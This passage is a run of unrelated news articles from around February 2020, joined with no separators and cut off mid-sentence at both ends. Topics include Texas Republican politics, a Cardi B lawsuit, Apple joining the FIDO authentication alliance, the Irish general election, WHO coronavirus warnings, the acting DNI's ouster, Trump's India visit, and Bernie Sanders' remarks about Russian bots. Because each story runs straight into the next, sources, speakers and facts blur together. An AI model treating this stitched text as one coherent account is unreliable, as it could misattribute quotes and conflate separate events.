politics,' Bush said of the impeachment case. 'It's a part of the problem.' The only Bush currently in public office, Texas Land Commissioner George P. Bush, broke with his family in 2016 and supported Trump even after he mocked his father, former Florida Gov. Jeb Bush, as 'low energy' during the 2016 presidential campaign. During a visit to Texas earlier this year, Trump introduced George P. Bush as 'the only Bush that likes me.' Olson is one of six House Republicans in Texas retiring next year, and he might have faced a tougher re-election battle than any of them. Once a seat of GOP power former Republican House Majority Leader Tom DeLay held the office before Olson the district is rapidly shifting amid demographic changes and Democrats peeling off suburban women voters. Olson narrowly won his seat by fewer than five points in 2018. The district covers Fort Bend County, one of the most ethnically diverse counties in the nation. 'The future of America looks like this district,' Bush said. 'This is a district where a conservatism that empowers all Americans is something that's worth fighting for.' Cardi B has been sued for assault over an alleged incident that occurred in 2018, however, some witnesses insist that her privacy had been violated. The 27-year-old rapper - real name is Belcalis Almanzar - is accused of assaulting, striking and spitting on a female security guard according to a Friday report from TMZ. Emani Ellis filed the lawsuit against the Invasion Of Privacy hitmaker in Los Angeles County on Friday. She was at work in Beverly Hills when the incident with Cardi happened on February 24, 2018. Scroll down for video Tough times: Cardi B - seen in Miami last month - has been sued for assault over an alleged incident that occurred in 2018, however, some witnesses insist that her privacy had been violated according to TMZ In court documents obtained by the publication it was alleged that the rapper maliciously struck her in the head, face, and body. In addition Ellis, who says she is African-American, claims Cardi spit on her in addition to using profanities and racial slurs. The alleged encounter happened at a medical building as Cardi had just left an appointment while pregnant with first child, Kulture, at the time and had not yet announced her pregnancy publicly. Kulture is currently 19-months-old. According to eyewitnesses from TMZ the security guard approached the star trying to record videos or take photos of her when the Bodak Yellow hitmaker asked her to stop as she did not want to be recorded in a doctor's office. Interesting: Cardi had not announced her pregnancy at the time of the alleged incident in Beverly Hills on February 24, 2018, she is seen in LA a week before the encounter The bystanders said the security guard got upset as they proceeded to get into an argument and that a building staffer separated the star and security guard and things never escalated physical nor were there any racial slurs. The lawsuit documents also state that Cardi 'then used her celebrity status to get [Ellis] fired from her job as a security guard.' However a representative for the medical building told TMZ that the rapper's doctor and patient coordinator were responsible for having the security guard terminated as they both felt like the guard had violated Cardi's privacy as the information was released with the rapper's permission. Ellis is suing the I Like It hitmaker for assault, battery, and infliction of emotional distress. Pride and joy: Cardi had just left an appointment while pregnant with first child, Kulture, at the time and had not yet announced her pregnancy publicly. Kulture is currently 19-months-old Cardi is no stranger to controversy as she was charged with two felony counts of assault for allegedly attacking twp bartenders in two separate incidents at Angel's Strip Club in Flushing, Queens, last August. Prosecutors say the victims, who are sisters, were targeted because the 27-year-old rapper believed one of them was having an affair with her husband, Offset. Cardi was originally charged with misdemeanors but after turning down a no-jail plea deal, was hit with the more serious counts. She and her co-defendants Tawana Jackson-Morel and Jeffrey Bush all face four years behind bars if they are convicted. Prosecutors say the rapper ordered her co-defendants to attack the unnamed victims. Sad: Cardi - seen at a hearing in New York back in December - is no stranger to controversy as she was charged with two felony counts of assault for allegedly attacking twp bartenders in two separate incidents at Angel's Strip Club in Flushing, Queens, last August Bold strategy: Cardi was originally charged with misdemeanors but after turning down a no-jail plea deal, was hit with the more serious counts It was pre-planned on social media, they say. When they got to the strip club on August 15, 2018, Bush allegedly used his body to block anyone from intervening as one of the bartenders was attacked. He also allegedly filmed the beating. They then are said to have returned on August 29. On that occasion, Jackson-Morel allegedly threw a drink in the second woman's face. Then, she and Cardi B and others allegedly hurled bottles and glasses at her. She has pleaded not guilty to the charges. Cardi famously attended a hearing for the case at a New York court in very dramatic fashion including an elaborate feathered coat and hat with black Christian Louboutin pumps back in December. Queen: Cardi famously attended a hearing for the case at a New York court in very dramatic fashion including an elaborate feathered coat and hat back in December The 27-year-old rapper was in high spirits despite the seriousness of the appearance The 27-year-old stomped through the courthouse in a pair of patent black Christian Louboutin pumps Her husband Offset has also found himself in hot water last month he was accused of throwing a punch at a fellow party-goer during a night out on January 30, after leaving Cardi's performance at LIV club in Miami. The rapper, 27, was dancing on stage at strip club Booby Trap, while her beau showered her with hundreds of dollar bills, however their display was interrupted by a member of the crowd. One of the audience members reportedly popped a bottle of champagne over the stage, while Cardi was dancing and appeared to get the star wet, reports TMZ. After noticing the incident, Offset, 28, appeared to launch himself off the stage while throwing punches at the culprit behind the champagne pop. Days before that the Migos star was handcuffed and detained in celeb-favorite outdoor mall The Grove in Los Angeles after police received reports of a person with a gun in the parking lot. After being released and insisting that law enforcement got 'the wrong guy', Offset wasted no time celebrating his release. Controversy: Her husband Offset has also found himself in hot water last month he was accused of throwing a punch at a fellow party-goer during a night out on January 30, after leaving Cardi's performance at LIV club in Miami Free: The Migos star, 28, was no doubt keen to let loose after he was handcuffed and detained in The Grove after police received reports of a person with a gun in the parking lot In a somewhat unusual move for Apple, the company has joined the Fast IDentity Online (FIDO) Alliance, an authentication standards group dedicated to replacing passwords with another, faster and more secure method for logging into online services and apps. Apple is among the last tech bigwigs to join FIDO, whose members now include Amazon, Facebook, Google, Intel, Microsoft, RSA, Samsung, Qualcomm and VMware. The group also boasts more than a dozen financial service firms such as American Express, ING, Mastercard, PayPal, Visa and Wells Fargo. Apple is not usually up front in joining new organizations and often waits to see if they gain enough traction before joining in. This is fairly atypical for them, said Jack Gold, president and principal analyst at J. Gold Associates. "Apple is often trying to present [its] own proposed industry standards for wide adoption, but is generally not an early adopter of true multi-vendor industry standards. FIDO now has enough momentum that I assume Apple is feeling the pressure to join in," he said. "Especially in a cloud-based world, FIDO is a key initiative to authentication that companies really cant ignore." David Mahdi, senior director of research for security and privacy at Gartner, said Apple's move is noteworthy. "It is a significant step in realizing a passwordless world," Mahdi said. "Apple joining is a significant step." Formed in 2012, FIDO's purpose is to push two-factor authentication for services and apps because passcodes are innately insecure. Research backs the group's claim, as 81% of all security breaches from hackers can be traced to stolen or poor passwords, according to Verizons Data Breach Investigations Report. If you are relying on username/email address and password, you are rolling the dice as far as password re-usage from other breaches or malware on your customers devices are concerned, Verizon said in its report. Along with W3C, FIDO wrote and is using the emerging Web Authentication API (better known as WebAuthn). The WebAuthn specification is already supported to different degrees by major browsers such as Google's Chrome, Mozilla's Firefox and Microsoft's Edge. Those browsers also support cloud credential creation using a U2F Token, which can use Bluetooth, NFC or USB to provide two-factor authentication to online services and apps. In 2018, Apple announced it was adding experimental support for the WebAuthn protocol on Safari. In December, Apple added native support for FIDO-compliant security keys, such as those from Yubico and Feitian, which use the WebAuthn standard over near-field communication (NFC), USB, or Lightning in iOS 13.3. "FIDO is like Bluetooth for authentication meaning that we have a number of devices with features and functions that can be used to provide authentication," said Mahdi. For example, Mahdi said, mobile devices or laptops may use fingerprint readers or facial recognition technology to enable log-in. Either technology could be leveraged for authentication, but without a common language, it was difficult to do and required proprietary drivers and software. "As such, it was much more complex to reliably enable strong authentication," Mahdi said. "FIDO, like Bluetooth, allows application developers and security leaders that want to enable strong authentication (say, in a mobile app or a website) to cover a wide range of authentication methods that are available in devices with minimal code [and without having to worry about many proprietary drivers]." Overall, FIDO's specification means digital services from banks, ecommerce sites and others can recognize users through their devices, rather than with usernames and passwords. For example, users could register for an online service, create a username, register their devices, and select a preferred authentication method (i.e. finger, or face, and/or PIN). No password would be needed, Mahdi said. How FIDOs spec works FIDOs specification works by enabling anyone using it to gain access to an app or online service with a private and public key pair. When a user registers with an online service, such as PayPal, the authenticator device (a server) creates a unique private/public key pair. The private key is stored on the users device, while the public key becomes associated with that device through the online service or app. Authentication is performed by the client server sending an electronic challenge to the users device. The clients private keys can be used only after they are unlocked locally on the device by the user. The local unlock is accomplished by a secure action such as a biometric reader (i.e., a fingerprint scan or facial recognition), entering a PIN, speaking into a microphone, or inserting a secondfactor device. FIDO U2F is an open-authentication standard that enables internet users to securely access with one security key instantly and with no drivers or client software needed, according to FIDO member and authentication vendor Yubico. FIDO2 is the latest generation of the U2F protocol. Last April, Google joined the Alliance as part of its creation of new online identity management tools. Google added two-factor authentication through FIDOs specification for Android 7 and above devices. Jamf, a provider of multi-factor enterprise authentication management software for the Mac platform, joined FIDO last month. As we were supporting a lot of these multi-factor devices and different identity providers, it got to be complicated pretty quickly, said Joel Rennich, director of Jamf Connect, an Apple Mac authentication and identity management product. And we still had the problem that we needed to go back to having a password. On the Mac, theres no built-in way of supporting your user credentials without typing in a password. However, Apple does have a pretty robust smart card installation. Rennich said Jamf is embracing the FIDO authentication protocol because its incredibly secure and allows a lot of flexibility because of wide-ranging industry support. In particular, because of FIDOs use of highly-secure elliptical curve cryptography the same used by Apple Secure Enclave Jamf can now leverage the technology to create enterprise-class access to the iPhone, for example. So, we can use that hardware already in the device to work with the FIDO protocols with minimal amount of effort. ...That made the development really quick, Rennich said. While it's not yet shipping, Jamf also created a virtual smart card that allows users to sign into Mac devices from the cloud using elliptic-curve cryptography pairing keys in the same way FIDOs specification does. Were not here to speak for Apple, but certainly you can see theyre doing a lot more work in this environment. I do think its a solid base. Its a great standard, Rennich said. We do hope Apple does more with it. But in the meantime, we expect to be able to bring log-in at the log-in window with a FIDO authenticator to the Mac. Herself alone: The decision by Leo Varadkar and Micheal Martin to say they won't coalesce with Sinn Fein played into Mary Lou McDonald's hands. So, General Election 2020 is over. The people have spoken, but what have they said? As I write this article, it seems that the people have left us all with a dilemma. All we are left with are the strident voices on radio and TV from morning to night, telling us what could be the outcome, or what should be the outcome, or what should not be the outcome. I was a teacher one time, and I feel like shouting back, "Yes, the people have spoken, and it is now up to those whom they have elected to sort out the situation and to forget all the preconceived notions about who said what to whom. We are now faced with the facts, and the elected people have to JUST GET TALKING!" Remember, the outcome is three parties almost of the same size, so if the electorate were looking for change, that is surely change in itself: the whole political scene has changed dramatically. Who would have thought that would be the outcome? Why did it happen so? How did it all creep up on us without anybody really knowing? I have a theory that from the first national debate, which was composed of Pat Kenny questioning Leo Varadkar and Micheal Martin, the protestations from both An Taoiseach and Martin were that they would never, ever, ever vote for Sinn Fein. They kept repeating that during the whole course of the election, and to my mind each time they repeated it the Sinn Fein vote went up, because Mary Lou McDonald was very satisfactorily able to explain that the big boys wanted her out of the picture and wanted to keep the picture to themselves. Imagine the scene that portrays - the guys against the gal - and in the meantime, the cult of the underdog, which is always very strong in Ireland, worked consistently in favour of Sinn Fein. And so the outcome has been. I must tell you, readers, of a rural man I met two days after the vote here in Athlone. I know him well, so I said to him, "What way did you vote?" and he said "I voted for the Sinn Fein man." And I looked at him and said, "But it was a woman" (Sorca Clarke was the Sinn Fein candidate elected in Longford-Westmeath). And he said, "Doesn't matter; I voted Sinn Fein." That is a true story, and it seems that has been replicated up and down the land. Gender quota, how are you? That man was voting for a brand, not a person. It was notable during the campaign that there was very little emphasis on agricultural or farming matters. Yes, there was a lot of talk about the rural vote with regard to transport and access to facilities and matters like that, but about the actual farmers there was so little. I have written it before: "We will all regret forever if we don't help our small farmers". I strongly believe that. I live in the town of Athlone, which borders south Westmeath and south Roscommon, so I have knowledge of the people in both areas. For myself, both my father and mother were from farming stock, one in County Clare and one in County Sligo. I myself am a townie but I retain very strong links and memories with the farming communities. My grandfather Bernard (Brian) Scanlan from Sligo was a member of the North Sligo Executive of the United Irish League. This was an offshoot of the agrarian work of Charles Stewart Parnell, who as we know passed away in 1891. Bernard, in pursuit of his duties, was arguing in a pub about Parnell when there was a fight between him and another man, and the outcome was Bernard Scanlan was carried home almost lifeless on a door following that affray in a pub in Sligo town. My grandmother was left rearing her six children and her babe in the womb on a bare 12 acres of Ben Bulben land at Drumcliff, County Sligo. All this is by way of explaining why I feel strongly about farmers, particularly small farmers, and that somehow these matters did not feature for any of the political parties which fought the last general election. Yes, we know the Government cannot directly influence the price for beef paid to the farmers at the factory gates. But what can be done as a government is to ensure utter transparency, so that it is very clear what exactly the farmers are getting, what it is costing each farmer to produce the beef, and then what is the price they are obtaining for it. We are living in a changing Europe and in far more open environment, where beef from South American countries could soon be flooding the markets. It is important that whatever ideas and plans any government has are open and transparent, so that everyone can see if it is worthwhile for the small farmer to continue to produce beef and to continue to put their fine products out onto the market. I have yet to hear any of the political parties put forward any concrete solutions to the dilemmas faced by the farming community. There was very little discussion about carbon taxes in any of the radio or TV debates during the General Election. And yet, and yet, the finger is constantly being pointed at the agricultural sector and the need for those in that sector to pay and play an outsize role in solving the carbon tax dilemma. I think whatever government is formed should be quite clear about the value to Ireland of the agricultural community, and also be quite clear on what they have done to cope with the carbon demand. So I'll end on this note. Whatever is the outcome of the talks now proceeding, there needs to be a very open and transparent manifesto for the rural community in Ireland. There needs to be an honest realisation that the solving of the carbon tax is not to be laid at the agricultural and rural door of Ireland. Mary O'Rourke is an author and former Government Minister By PTI GENEVA: The World Health Organization warned Friday that the window of opportunity to stem the new coronavirus outbreak was shrinking, amid concern over a surge in cases with no clear link to China. WHO chief Tedros Adhanom Ghebreyesus has for weeks insisted the low number of cases of COVID-19 outside the epicentre of the deadly outbreak in China's central Hubei province presented a "window of opportunity" to contain the international spread. But on Friday he said that while "we are still in a phase where containment is possible. our window of opportunity is narrowing." "That's why we called (on) the international community to act quickly, including the financing," he told reporters in Geneva. However, "that's not what we see," he added. The outbreak which began in December has killed more than 2,200 people and infected more than 75,500 in China, while more than 1,150 people have been infected and eight have died across 26 other countries, WHO said. ALSO READ | WHO team to visit Wuhan to investigate coronavirus outbreak The UN health agency chief stressed that the number of cases outside of China still remained "relatively small", but voiced concern "about the number of cases with no clear epidemiological link, such as travel history to or contact with a confirmed case." "We must not look back and regret that we failed to take advantage of the window of opportunity we have," he said. WHO does not recommend any international travel or trade restrictions, but Tedros called on countries to take "proportionate" actions to protect against the international spread of the virus. He did not provide details on what specific measures should be taken. As for the situation in China, Tedros said that a team of international experts headed by WHO had visited Beijing, Sichuan and in Guangdong, and would travel to Wuhan in Hubei province on Saturday. WASHINGTON President Donald Trump pushed aside his acting director of national intelligence, Joseph Maguire, because he was angry that lawmakers were briefed about Russia's plan to interfere in the 2020 election to help Trump, a former intelligence official briefed on the matter told NBC News. NBC News had previously confirmed that the election briefing by Shelby Pierson, the DNI's election security czar, angered Trump, but had not confirmed the content of the briefing. The news was first reported by the New York Times. The former official and another former senior intelligence official said the developments have caused serious concern among intelligence officials. More from NBC News: Trump says Roger Stone has 'very good chance of exoneration' Richard Grenell's push to decriminalize homosexuality has yielded little Trump scoffs at 'Parasite's' historic Oscars win for best picture "ODNI is nearing a meltdown," the second official said after news broke about Maguire being forced out over the Russia briefing. A third former official previously confirmed to NBC News that Maguire, who was under consideration to be permanent DNI, will not get that job and will soon leave his post. Principal deputy director of national intelligence Andrew Hallman is also leaving his job, the second former official said, a departure that "is very distressing to intelligence professionals." "It is clear that the recent decisions by the President have caused a lot of consternation in the intelligence community," the first former official said. "I'm not aware of any kind of planned response, but a lot of people are concerned about the role of the Oversight Committees going forward in this situation." This former official pointed out that Maguire was due to leave by March 12 but said that this briefing precipitated it prematurely. Trump announced that he would name Richard Grenell, the U.S. ambassador to Germany, to the post, but on Thursday night, officials said the president would put forward a different name within days to fill the job permanently. Last Thursday, Pierson gave a classified briefing to the House Intelligence Committee on 2020 election security. The former official said lawmakers were told about evidence that Russia is seeking to interfere in the 2020 election to help Trump. The next day, Trump erupted at Maguire in the Oval Office during his daily intelligence briefing, the Post and the Times reported. The Times said Trump was concerned the Democrats would use the information against him. Trump's anger over the briefing led him to push Maguire out, the former officials told NBC News. The episode has raised the specter that Trump is punishing intelligence officials for providing accurate intelligence to members of Congress who are cleared to receive it. Trump's anger cost Maguire a chance to become the permanent DNI, a former official familiar with the matter said, confirming a report in The Washington Post. The Post reported that the president "erroneously believed that she had given information exclusively to Rep. Adam B. Schiff, D-Calif., the committee chairman, and that the information would be helpful to Democrats if it were released publicly, the people familiar with the matter said. A committee official told the Post that wasn't true. The committee did not immediately respond to a request for comment. Pierson, a veteran intelligence official, is coordinating the intelligence gathering and response to foreign election threats. While the U.S. government is working to secure the 2020 election from hackers and disinformation, Trump has avoided publicly commenting or holding meetings about the subject because he believes the issue reflects badly on his 2016 victory in an election beset by Russian interference, officials have told NBC News. New Delhi, Feb 21 : The opposition Congress on Friday welcomed US President Donald Trump's coming visit to India but cautioned the government to take the utmost care to ensure that it did not turn into a Trump re-election campaign in the Indian diaspora. "We feel this visit should not become a link to the re-election campaign of the US President. The outcome of this visit should be in national interest," said senior Congress leader Anand Sharma. The Congress said the three things that needed to be kept in mind are the sovereignty, self-respect and national interest of India. "Such tours should be serious and not limited to photo-ops, the Congress leader remarked. Trump is visiting India on February 24 and 25. The former Union Minister said: "The Congress understands Indo-US relations and supports it... the Congress wants the GSP (Generalised System of Preferences) regime to be brought back as Indian manufacturers are suffering and it has impacted small workers in the country." "As Trump has said, he has good relations with Prime Minister Narendra Modi and he has been assured that he (US President) will be welcomed by 50-70 lakh people during his visit. In such a situation, we hope that the pending issues of the country like H1B1 visa, GSP etc will be resolved," the Congress leader added. However, the Congress questioned who all were managing the proposed Ahmedabad visit of Trump, as the government said it was the "Trump Nagrik Abhinandan Samiti". "We have come to know that a quota has been fixed for schools, colleges and universities (to send students for Trump's welcome). School children will also be lined up. As many as 100 teachers have been summoned from each block. All the hoardings put up there are not by any committee. The Gujarat government has given all approvals; Motera Stadium has been hired, artistes from all over India are coming. It's not under the control of a committee. A special grant for the visit has been given to the Ahmedabad Municipal Corporation. We don't mind, but the government should not lie (about the arrangements)," a Congress leader said. The party asked if the government was paying for the event, why was it hiding the fact. The floor where the Grand Presidential Suite is located at the ITC Maurya here is out of bounds for most hotel staff owing to the elaborate security arrangements being made for the visit of President Donald Trump and his family, sources said. Trump will stay at the 'Chanakya' suite of the hotel, which has hosted the likes of former US presidents George Bush and Barack Obama. Sources said security arrangements at the hotel have been underway for the last two weeks with NSG commandos and Delhi Police personnel surveying every floor on a daily basis. Officials from the US embassy are also monitoring the preparations with all details being kept under wraps. The sources added that the hotel will be out of bounds for other guests during the time Trump and his entourage will be there and all the 438 rooms of the five-star property have been booked. According to those privy to the arrangements, every time a US president visits there is a high level of security threat which means that there is always a different approach to the security protocols. However, in view of the spiralling tensions between Iran and the US, there is a higher security threat this time and the agencies are more "cautious and alert" than ever, the sources said. A multi-tier security arrangement comprising the Delhi Police, US Secret Service and other agencies will be in place in the national capital, including the hotel, during the Trumps' visit next week. At the ITC Maurya, a three-layer security will be in place. The hotel, located in Diplomatic Enclave in Chanakyapuri, will have police personnel in plain clothes patrolling every floor. Delhi Police's security wing personnel will form part of the inner cordon that will work in close coordination with the United States Secret Service. The security wing of the Delhi Police is a specialised unit tasked with the security of VIPs and visiting foreign dignitaries. The second layer of security will be deployed around the hotel's lobby area, parking, lawn area and the pool area, while the third one will comprise of police personnel from the district police. There is a large stretch of green ridge area opposite the hotel and security personnel will be deployed there as well. Even at the neighbouring Taj Palace hotel, security arrangements have been refurbished and security personnel are keeping a tight vigil there. Sources said even the hotel staff has not been made privy to the security arrangements and details will be communicated to them at the last moment. In 2015, the then US president Barack Obama had come to India on a three-day visit, during which he was also the chief guest at the Republic Day event. Trump, who is scheduled to visit India on February 24 and 25, will be accompanied by a high-level delegation that will include his daughter Ivanka, son-in-law Jared Kushner and a galaxy of top US officials. Prime Minister Narendra Modi will host a lunch for Trump, while President Ram Nath Kovind will host a banquet in honour of the visiting dignitary. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) CHICAGO, Feb. 21, 2020 /PRNewswire/ -- Robbins, Salomon & Patt, Ltd. (RSP), a full-service law firm in the Chicagoland area, is celebrating its 50th anniversary in 2020 and planning a year full of special firm initiatives, events and client recognition. "As we recognize this significant milestone, we are grateful to the thousands of clients we have worked with along the way," said Richard L. Gayle, CEO. "When we started out in 1970, our goal was to build an enduring boutique law practice at the intersection of law and business. We've been successful in that endeavor by developing lasting, solid client relationships while providing innovative, superior quality, and cost-effective legal services. Our objective is to always make a positive difference in our clients' legal issues and to assist them in achieving their business goals and long-term strategies." RSP will be celebrating that focus on client relationships with special long-term client recognition through their Strategic Alliance Spotlight program as well as a client gala reception. The firm has also created a video ( RSP 50 th Anniversary Celebration ) that highlights their commitment to collaboration and their promise to earn client business through understanding, transparency and candor. The video is also available on RSP's website ( www.rsplaw.com ) and YouTube. Additional planned anniversary activities include a redesigned website, an anniversary logo and a host of other memorable initiatives. With a theme of giving back, RSP's anniversary year will culminate in a special community service project yet to be announced. In 2019, RSP partnered with the Greater Chicago Food Depository to help end hunger in the Illinois Cook County areas, and in 2018 the firm collaborated with Back 2 School Illinois to help distribute free school supplies to children from low-income families. Over the past five decades, RSP has grown to a firm of over 40 attorneys with extensive experience and knowledge in a wide array of practice areas. RSP's practice areas range from business transactions, banking and finance, litigation, real estate, trusts and estates, construction law, and surety and fidelity law, to creditors' rights, bankruptcy, factoring, taxation, municipal law, labor and employment, personal injury and medical malpractice, and disability rights. SOURCE Robbins, Salomon & Patt, Ltd. Related Links https://rsplaw.com Beijing: China's tech billionaire Jack Ma has pledged over $2 million to support the development of antiviral drugs to combat the new coronavirus which has killed 2,236 people in the country and infected more than 75,000 others. The World Health Organization (WHO) has declared the epidemic as a public health emergency. In accordance with a deal signed between the Jack Ma foundation and Columbia University, the 15 million yuan will be used for supporting a research project led by Dr David Ho, a world-renowned HIV/AIDS researcher with the university, state-run Xinhua news agency reported. The researcher will lead in setting project objectives, conducting research and tracking results, said a source of the foundation based in Hangzhou, Zhejiang province. Since the outbreak of COVID-19 in China, with Wuhan as the epicenter, Ho and many researchers at Columbia University have been following the situation closely and started related work to combat the virus, the report said. In support of the cooperation project, Columbia University has set up a multidisciplinary team involving professionals in virology, molecular biology and chemistry who proposed four different new solutions to tame the pathogen, according to the source. China's richest man, 55-year-old Jack, is the co-founder and former executive chairman of the Chinese multinational technology conglomerate Alibaba group. The coronavirus has killed as many as 2,236 people, mostly in the hard-hit Hubei province, and infected 75,465 others, according to the Chinese health officials. A number of countries including US, UK, Japan Sri Lanka, Bangladesh and Nepal have evacuated hundreds of their nationals while about 800 to 1,000 Pakistanis are still in the area. The virus outbreak originated in China's Hubei province in December and has spread to more than 25 countries, including India. Many countries have banned arrivals from China while major airlines have suspended flights to the country. In the most basic sense, the Latin root soci appears in the term society, which is very literally a group of people who coexist in some capacity, whether theyre connected by a common government, neighborhood, or even just common interests (e.g., the National Audubon Society). This Latin root is also at the core of one of the biggest trends to have shaped modern culture: social media and the rise of platforms like Instagram, Facebook, and Snapchat. (Twin Design // Shutterstock) We all love using smart speakers that recognise our voice and accurately do what we ask them to. However, recently, due to privacy concerns, companies like Amazon, Google, even Apple has suspended training their AI to better recognise your speech. Reuters Now they ask users to sign up beforehand to contribute to making the speech recognition better, but its not something people want to do proactively. However, Facebook has a better way to lure people into making its speech recognition better for its Portal line of voice recognition devices for your home. Facebook is actually offering money in exchange for people to record snippets of their voice, where each person can easily make around $5 (approximately Rs 350). This is a part of a new program called Pronunciations. Taking help from its Viewpoints market research app, users can apply to get qualified for this test. Once qualified, the app will ask users to record a phrase Hey Portal followed by the name of a friend from their friend list. The user will have to say this statement twice. This same practice needs to be done with 10 unique names. Getty Images Doing this will give you around 200 Viewpoints. In order to actually get some money out, a user needs to have 1000 points. Users need to record up to five sets of recordings ( 5 different names said twice) to make the cut. Thatll get you $5. It goes without saying that you wont really become the next Jeff Bezos doing this all day, however, the idea to derive data for a remuneration (even as small as $5) isnt half bad. At least through this, both the parties are getting what they want, without breaching someones trust. What do you feel about this? Would you sign up for this survey? Let us know in the comments below. SYRACUSE, N.Y. -- Syracuse police plan to start using the nearly vacant Shoppingtown Mall to train officers for active shooter incidents. Its the perfect space, according to police brass, because its big, its indoors and its pretty much empty. Were always searching for locations, deputy Chief Joseph Cecile told lawmakers Wednesday. Were looking for a venue thats large that would be very similar to an active shooter. This was the only place we could find that would allow us to do it...The mall is practically empty other than the movie theaters so weve got the run of the place. Cecile is asking the Common Council to approve an agreement between the department and the mall. He answered questions about the deal at a public safety committee meeting earlier this week. Shoppingtown would host SWAT training drills several times a year. The deal wouldnt cost city taxpayers anything, Cecile said. Cecile said the department often uses abandoned houses or other similar buildings for SWAT training. But a place like Shoppingtown is better to train for a modern active shooter incident. In the last several years, nearly all of Shoppingtowns retail tenants have moved out, including all of its anchor stores. Its last food court restaurant closed shop in 2018. Common Council President Helen Hudson asked if the training has anything to do with a recent shooting at Destiny USA. A shooter opened fire near the food court on Black Friday, sparking a huge panic among shoppers and employees on the busiest day of the year. The shooting was an isolated incident between two men who knew each other. But it tested responses and active shooter policies of the police department and the mall. Cecile said that the Destiny incident had nothing to do with the plan to train at Shoppingtown. The department routinely trains for reality based situations, and Shoppingtown is just the latest location. Councilor Pat Hogan raised a concern about the malls tax delinquent status. The malls owner, Moonbeam Capital Investments LLC, owes more than $10 million in back taxes and fees. The mall has filed for bankruptcy protection. I know theres been an effort to address those problems, Hogan said. Hogan said he would speak with the citys lawyers about the back taxes. The mall is located just beyond the city limits in the Town of DeWitt. The council will likely be asked to vote on the agreement at its next meeting in early March. Adam Glanzman/Bloomberg Bernie Sanders on Wednesday raised the possibility that social media accounts harassing his critics may, in fact, be Russian bots operating in disguise. But top security officials say they've seen no such activity. The platforms themselves hinted the same. And experts in the field are now saying that the senator's inference may cause harm by eroding trust for when such behavior does, in fact, occur. When pressed about his supporters attacks on members of the Nevada Culinary Workers Union and its decision not to endorse Sanders signature Medicare for All health care policy, Sanders raised the specter of Russian intelligence activity. He said it wasnt too paranoid to recall Russian meddling in 2016. Im not saying thats happening, but it would not shock me. The debate night comment marked the second time Sanders has alluded to the possibility of Russian disinformation stoking his online supporters alleged toxicity. In a CNN town hall two days prior, Sanders used a similar variation of the talking point when challenged over the Nevada issue. And I dontyou know, want to be overly paranoid hereis that, you know, we live in a crazy time. And there are a lot of folks out there who do bots and all this other thing. I saw some of those things. And there are people out there who want to divide the progressive movement. In response to questions from The Daily Beast, Twitter didnt specifically weigh in on whether or not theres evidence to back up the suggestion of Russian involvement in the feud over the Culinary Workers Union. But the company did issue a statement that said its employees proactively monitor Twitter to identify attempts at platform manipulation and mitigate them and that if we have reasonable evidence of state-backed information operations, well disclose them following our thorough investigation to our public archivethe largest of its kind in the industry. Bernie: Some of My Angriest Online Bros May Be Russian Bots Story continues The company has notably not disclosed any state-backed operations targeting the Nevada union. The most recent example of Twitters identification of Russian personas dates to four accounts linked to the Internet Research Agency taken down in June of 2019months before the issue of Nevada union support for Sanders health care plan became a contentious issue. The Sanders campaign did not respond to requests for comment from The Daily Beast. But on Friday it released a statement after The Washington Post reported that U.S. intelligence had briefed Sanders that Russia was attempting to support his campaign. The Post story did not specify what form the assistance was taking or when it may have taken place. Unlike Donald Trump, I do not consider Vladimir Putin a good friend. He is an autocratic thug who is attempting to destroy democracy and crush dissent in Russia. Lets be clear, the Russians want to undermine American democracy by dividing us up and, unlike the current president, I stand firmly against their efforts, and any other foreign power that wants to interfere in our election," Sanders said in a statement. I don't care, frankly, who Putin wants to be president. My message to Putin is clear: stay out of American elections, and as president I will make sure that you do." When asked to respond to Sanders comments about the possibility of Russian personas involved in the attacks, Bethany Khan, a spokesperson for the Nevada culinary union, wrote in an email that I will not be spending any time being dismissed or gaslighted about my experiences. Khan wrote that shed been inundated with so many abusive comments that she hadnt had time to collect them, but pointed to an interview she conducted with the Nevada Independent detailing some of the abuse. There is so much more examples from ROSE Twitter than what Ive had time to share, but I remain focused on doing the important GOTV work to ensure Culinary Union members have a chance to early vote/caucus. The Daily Beast reached out to experts in tracking disinformation to see if there was any evidence of Russian involvement in the feud between Sanders supporters and the Nevada Culinary Workers Union. None could point to a specific example of Russia-linked personas imitating pro-Bernie personas and attacking members of the Nevada Culinary Workers Union. Ben Nimmo, director of investigations at the disinformation-tracking firm Graphika, told The Daily Beast that, after 2016, Russian trolls have tried harder to stay undetected, making finding them a tricky process. Actually proving that a particular account is run from Russia means crossing a high evidence bar. There are far more accusations of Russian trolls or Russian bots going around than there are actual known Russian assets that have been taken down. Inside the Iranian Troll Campaign to Harass Reporters Oftentimes, Russian covert operations on social media act as echo chambers for the issues and priorities of overt Russian propaganda outlets like Sputnik and RT. Jessica Brandt, director of research at the Alliance for Securing Democracy, which tracks Russian state news trends and disinformation, said Russian outlets havent made much of the Nevada union feud. Weve seen no evidence of that, she told The Daily Beast, adding that the Alliances dashboard for tracking overt Russian propaganda turned up only one story on the Nevada issue. There is evidence, however, that Sanders supporters penchant for attacking other Democrats, outside the recent feud over the Nevada caucuses, is driven primarily by authentic American actors and not foreign state trolls. #NeverWarren and #MayorCheat are among the most popular hashtags used by Sanders supporters on Twitter to go after his Democratic rivalsthe latter a reference to the unsupported claim that former Mayor Pete Buttigieg stole the Iowa Caucuses. When I looked at those hashtags, they looked like they were launched and pushed by American users, some of them even American users with verified accounts, Nimmo told The Daily Beast. There wasn't any evidence there to suggest that they were started or substantially pushed by Russian trolls. State disinformation actors have, at times, mimicked supporters. Graphika found four Instagram accounts purporting to be Bernie supporters linked to Russian disinformation actors operating in the fall of 2019 and FireEye found Iran operated a fake social media persona, berniecratss, posing as a Sanders supporter. None of the accounts in those campaigns appeared to have engaged in the kind of toxic intra-party feuding Sanders supporters are often accused of. The Instagram accounts, run by the Internet Research Agency troll farm, appear to have been primarily interested in posting memes about criminal justice rather than engaging with or attacking Democrats. The top ten hashtags associated with the Iranian-run berniecratss account found by FireEye were all associated with either anti-Trump or anti-Israel sentiments. Its not out of the realm of possibility that Russia, Iran, or any other interested country could decide to meddle. Thats why experts say its important for Sanders and other candidates to steer clear of accusations about foreign meddling in the admitted absence of any evidence to support them. I think it's completely irresponsible to even allude that there's been some sort of attack from a foreign actor to undermine our democracy. Yes, we know this is happening. Yes, we know that the intelligence community and others are working around the clock to detect and mitigate it, Lisa Kaplan, who runs the Alethea Group, told The Daily Beast. But if you don't have evidence, it's an irresponsible statement to make and it's not increasing trust in the system. In this case, Senator Sanders dismissing the online bullying and harassment by some of his purported supporters by suggesting it was Russian interference does 